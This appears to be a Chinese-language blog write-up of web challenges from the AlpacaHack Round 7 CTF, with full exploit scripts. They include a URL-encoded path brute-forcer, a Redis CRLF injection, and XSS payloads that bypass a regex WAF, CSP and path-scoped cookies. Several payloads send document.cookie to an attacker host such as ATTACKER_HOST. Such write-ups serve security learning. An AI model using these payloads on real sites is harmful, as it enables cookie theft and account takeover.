這周打了全部都是 web 題目的 Solo CTF AlpacaHack Round
7 ,題目還蠻有趣的,尤其是最後一題花了我很多時間都還是解不掉...。
Treasure Hunt
網站本身很簡單:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import express from "express" ;const html = ` <h1>Treasure Hunt 👑</h1> <p>Can you find a treasure?</p> <ul> <li><a href=/book>/book</a></li> <li><a href=/drum>/drum</a></li> <li><a href=/duck>/duck</a></li> <li><a href=/key>/key</a></li> <li><a href=/pen>/pen</a></li> <li><a href=/tokyo/tower>/tokyo/tower</a></li> <li><a href=/wind/chime>/wind/chime</a></li> <li><a href=/alpaca>/alpaca</a></li> </ul> ` .trim ();const app = express ();app.use ((req, res, next ) => { res.type ("text" ); if (/[flag]/ .test (req.url )) { res.status (400 ).send (`Bad URL: ${req.url} ` ); return ; } next (); }); app.use (express.static ("public" )); app.get ("/" , (req, res ) => res.type ("html" ).send (html)); app.listen (3000 );
然後在 Dockerfile
中有:
1 2 3 4 RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \ && mkdir -p $(dirname $FLAG_PATH ) \ && mv flag.txt $FLAG_PATH
所以 flag 會在 ./public/0/1/.../f/l/a/g/./t/x/t
這個路徑下,但是 express 方面用 middleware 禁止 req.url
中出現 flag
這四個字元。
不過實驗一下可以發現只要 url encode 一下就能 bypass,例如
a
-> %61
,剩下就只要寫個 script
去一層一層爆搜即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import httpx, asyncioHEX = "0123456789abcdef" def encode_to_path (ar ): path = "" for c in ar: path += f"/%{ord (c):02x} " return path async def main (): async with httpx.AsyncClient(base_url="http://34.170.146.252:19843/" ) as client: pre = [] while len (pre) < 32 : tasks = [] for h in HEX: cur = pre + [h] tasks.append(client.get(encode_to_path(cur))) responses = await asyncio.gather(*tasks) for h, resp in zip (HEX, responses): if resp.status_code != 404 : pre.append(h) print (pre) break pre += [*"flag.txt" ] resp = await client.get(encode_to_path(pre)) print (resp.text) asyncio.run(main())
Alpaca Poll
關鍵程式碼在這邊:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 app.post ('/vote' , async (req, res) => { let animal = req.body .animal || 'alpaca' ; animal = animal + '' ; animal = animal.replace ('\r' , '' ).replace ('\n' , '' ); try { return res.json ({ [animal]: await vote (animal) }); } catch { return res.json ({ error : 'something wrong' }); } });
然後 vote
函數是這樣的:
1 2 3 4 5 6 7 8 9 export async function vote (animal ) { const socket = await connect (); const message = `INCR ${animal} \r\n` ; const reply = await send (socket, message); socket.destroy (); return parseInt (reply.match (/:(\d+)/ )[1 ], 10 ); }
而 flag 在 redis 中的 flag
key 底下。
顯然目標是用 redis injection 讀 flag,首先是它的 replace
\r
\n
只會 replace 第一個 match,所以在
payload 前面塞 \r\n
就能 bypass。
再來它 parse response 時會找回傳的第一個 packet
中出現的第一個數字,因此必須要讓 INCR ...
那邊出現 error
才行。我這邊是用 INCR flag
因為型態不對所以會 error,而
response 中也不會出現數字。
之後 leak flag 的部分我是用 GETBIT
去讀 flag 的每個
bit,這樣就能 leak 出 flag 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import httpx, asynciofrom binteger import Binasync def main (): flaglen = 26 async with httpx.AsyncClient(base_url="http://34.170.146.252:25001/" ) as client: bits = [] for i in range (flaglen): tasks = [] for j in range (8 ): tasks.append( client.post( "vote" , data={"animal" : f"\r\nflag\r\nGETBIT flag {i * 8 + j} " }, ) ) responses = await asyncio.gather(*tasks) bs = [] for resp in responses: b = list (resp.json().values()).pop() bs.append(b) bits.extend(bs) print (bits) print (Bin(bits).bytes ) asyncio.run(main())
其他好像還可以用 EVAL
指令執行 lua,然後再 lua 去 call
GETRANGE
等方法再轉 ascii。
minimal-waf
這題是個單純的 XSS 題:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import express from "express" ;const indexHtml = ` <title>HTML Viewer</title> <link rel="stylesheet" href="https://unpkg.com/bamboo.css/dist/light.min.css"> <body> <h1>HTML Viewer</h1> <form action="/view"> <p><textarea name="html"></textarea></p> <div style="text-align: center"> <input type="submit" value="Render"> </div> </form> </body> ` .trim ();express () .get ("/" , (req, res ) => res.type ("html" ).send (indexHtml)) .get ("/view" , (req, res ) => { const html = String (req.query .html ?? "?" ).slice (0 , 1024 ); if ( req.header ("Sec-Fetch-Site" ) === "same-origin" && req.header ("Sec-Fetch-Dest" ) !== "document" ) { res.type ("html" ).send (html); return ; } if (/script|src|on|html|data|&/i .test (html)) { res.type ("text" ).send (`XSS Detected: ${html} ` ); } else { res.type ("html" ).send (html); } }) .listen (3000 );
它 regex waf 的部分我自己是沒找到
bypass,所以需要找個方法能讓它走上面那個沒檢查的 if。
我看到這個 code 時就想起了我今年在 HITCON CTF 出的 Private
Browsing+ ,它裡面就有透過 chromium disk cache 的機制去 bypass
這個,而 disk cache 這個技巧又來自 SECCON
CTF 2022 Quals - spannote 。
細節不細講,不過具體要達成的作法是要在同個 tab
中依序達成下列操作:
Visit XSS url
Visit another page that will make request to the same XSS url with
correct headers (沒有 waf 的 header)
Visit about:blank
history.go(-2)
Cached response in disk cache get loaded -> XSS
這邊的一個關鍵是要想辦法在 waf 下達成 fetch another url
的操作。最簡單會想到用 <img src="...">
,但它被 waf 的
src
擋住了,不過類似的東西還有 css 中的
background: url(...)
,且它也不在 waf 中所以可以用。
然而有個問題是 style tag 中的 url 是 XSS url
(http://localhost:3000/view?html=<script>...
),而 url
中又會包含被 waf 擋住的相關單字如 html
和
script
,所以要有方法 escape。
我這邊是利用 css 中 string 可以用 \0061
這種方法表示
unicode codepoint 的方法去 bypass 的,所以統整起來可以寫出以下的
exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <script > const sleep = ms => new Promise (res => setTimeout (res, ms)) ;(async () => { const url = 'http://localhost:3000/view?html=' + encodeURIComponent ('<script>(new Image).src="//ATTACKER_HOST/flag?"+document.cookie<\/script>' ) const url2 = url .split ('' ) .map (c => '\\' + c.charCodeAt (0 ).toString (16 ).padStart (4 , '0' )) .join ('' ) const w = open (url) await sleep (1000 ) w.location = 'http://localhost:3000/view?html=' + encodeURIComponent (` <style>body{background: url("${url2} ")}</style> ` ) await sleep (1000 ) w.location = 'about:blank' await sleep (100 ) w.history .go (-2 ) })() </script >
另外我還在看到另一個解法來自這個
tweet :
scriptを含むページをprefetchすると、Sec-Fetch-Destがemptyで飛んでくる
-> scriptを含むページに移動
簡單來說就是用 prefetch XSS url,然後再 visit XSS url
即可。這之所以會動是 prefetch 時
Sec-Fetch-Dest: empty
,然後 visit 時會變成從 prefetch cache
中載入,所以也能 xss。
自己寫個一個類似的 exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <script > const sleep = ms => new Promise (res => setTimeout (res, ms)) ;(async () => { const url = 'http://localhost:3000/view?html=' + encodeURIComponent ('<script>(new Image).src="//z.ss0.pw/flag?"+document.cookie<\/script>' ) const url2 = url.split ('' ).join ('\n' ) const w = open (url) await sleep (1000 ) w.location = 'http://localhost:3000/view?html=' + encodeURIComponent (` <link rel="prefetch" href="${url2} " /> ` ) await sleep (10000 ) w.location = url })() </script >
另外是我看到還有個可以直接 bypass waf 的解法,是利用
<embed>
tag 的一個神奇 undocumented attribute
code
,它功能和 src
相似。它似乎是 chromium
自己的奇怪 feature... 。
Payload generator:
1 2 3 4 5 6 7 8 9 10 11 12 13 const payload = '<script>alert(origin)</script>' const payload2 = payload .split ('' ) .map (c => '%' + c.charCodeAt (0 ).toString (16 ).padStart (2 , '0' )) .join ('' ) const url = 'http://localhost:3000/view?html=' + encodeURIComponent (` <embed code="/view?ht ml=${payload2} " type="text/ht ml"></embed> ` )console .log (url)
disconnection
題目很短:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import express from "express" ;const html = ` <h1>XSS Playground</h1> <script>eval(new URLSearchParams(location.search).get("xss"));</script> ` .trim ();express () .use ("/" , (req, res, next ) => { res.setHeader ( "Content-Security-Policy" , "script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'" ); next (); }) .get ("/" , (req, res ) => res.type ("html" ).send (html)) .all ("/*" , (req, res ) => res.socket .destroy ()) .listen (3000 );
然後 flag 是放在 bot cookie 中,但是 path 是在 /cookie
底下:
1 2 3 4 5 6 7 8 9 10 const page = await context.newPage ();await page.setCookie ({ name : "FLAG" , value : FLAG , domain : APP_HOST , path : "/cookie" , }); await page.goto (url, { timeout : 5_000 });await sleep (10_000 );await page.close ();
所以目標是想辦法透過 /
的 XSS 讀到 /cookie
的 cookie。這一般的作法是透過 open
開啟
/cookie
然後存取
w.document.cookie
,但是這邊因為 /*
的 path
會直接 drop connection 所以沒辦法正常開啟 /cookie
。
我的第一個想法是用 RPO (Relative Path Overwrite),讓瀏覽器以為是
/cookie
底下的網頁但 server side 會 normalize 成
/
,這樣就能讀到 /cookie
的 cookie 了。可惜
express + node.js 基本上不對 path 做任何 normalization 所以行不通。
另一個方向就是想說 /*
的 path 都會被 disconnect
這件事是真的嗎? 實際上測試一下用 /cookie/%gg
這種 path 會讓
express 內部在做 path 處理時產生 decode error,然後就會出現一個正常的
error page,因此就能這樣利用去讀到 flag。
1 2 3 4 5 6 7 8 9 10 <script > xss = ` w=open('/cookie/%gg') setTimeout(()=>{ location='//ATTACKER_HOST/flag?'+w.document.cookie },1000) ` location = 'http://disconnection:3000/?xss=' + encodeURIComponent (xss) </script >
不過這個解法顯然是 unintended 的,所以題目作者就釋出了下一題
disconnection-revenge,然後我就在那題卡了很久都解不開 QQ。
*disconnection-revenge
代表這題是 upsolved 的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import express from "express" ;const html = ` <h1>XSS Playground</h1> <script>eval(new URLSearchParams(location.search).get("xss"));</script> ` .trim ();express () .use ("/" , (req, res, next ) => { res.setHeader ( "Content-Security-Policy" , "script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'" ); next (); }) .get ("/" , (req, res ) => res.type ("html" ).send (html)) .all ("/*" , (req, res ) => res.socket .destroy ()) .use ((err, req, res, next ) => { res.socket .destroy (); }) .listen (3000 );
題目目標一樣,而它多的地方就只有加一個 error handler 把 connection
斷掉,不過這就足夠把前面的解法無效化了。
所以我這邊就想說既然 express 層面的 error 不行,那能不能透過 node.js
http 的 error 來達成呢? 從這邊 可以看到
node.js 內建有幾個 error 去處理 bad request, timeout, header too large,
chunk extension too large 等情況。
最好觸發是 HTTP 431 的 header too large,就直接用個很長很長的 path
即可:
1 location = 'http://34.170.146.252:55944/' +'a' .repeat (20000 )
然而它產生的是 chromium 自己的 error page,url 是
chrome-error://chromewebdata/
,因此沒辦法利用這個讀
cookie。
我自己還有額外做些實驗,發現說只要 status code >= 400 且 body
為空,那 chromium error page 就會出現。要不觸發內建 error page 必須要讓
status code < 400 或是讓 body 有東西 (至少 1 byte)。這部分相關的
chromium code 可以在這邊 找到。
然後到比賽結束前我都卡在這邊,因為沒找到其他方法可以讓它產生 error
page 的同時又讓它是 same origin 的。
後來看到了這篇
writeup (不知道是不是 intended),發現說原來 chromium 內建的 error
page 不會在 iframe 中觸發,所以可以在 iframe 中觸發 431 就能有個
/cookie/aaaa....
的 error 在 iframe 中。然而因為 csp
的關係,iframe 必須 embed 在我們自己的 origin 的頁面上,此時又會因為
samesite cookie 的原因導致 document.cookie
為空,但它的 cookie
url 還是 /cookie/aaaa....
。
要 bypass 的方法也不難,就是想辦法弄一個和那個 error page 有關聯的
top frame,那 samesite 的問題自然就會解決,而那篇 writeup 的作法是直接
win_ref.open()
一個 about:blank
的頁面,然後從它上面讀 cookie 即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <iframe id ="f1" > </iframe > <iframe id ="f2" > </iframe > <script > const base = 'http://disconnection-revenge:3000/' const sleep = ms => new Promise (res => setTimeout (res, ms)) ;(async () => { f1.src = new URL ('/cookie/' + 'a' .repeat (20000 ), base) await sleep (1000 ) f2.src = new URL ( '/?xss=' + encodeURIComponent (` w = top[0].open('about:blank') setTimeout(()=>{ top.location = 'http://ATTACKER_HOST/flag?' + w.document.cookie }, 1000) ` ), base ) })() </script >
這個解法說明了一件事: about:blank
能夠繼承 initiator 的
cookie (see also whatwg/html
#332 )
另外,前面說的 cookie url 其實沒在任何的 spec 中有定義到,而是
chromium 自己的 implementation detail。查了一下可以找到 Define a policy
container 這個 issue,說明說目前很多功能從 csp, referrer
policy, cookie url 等的繼承上,目前都沒有個標準的 spec
可以參考,所以這些行為很多都是 implementation defined 的。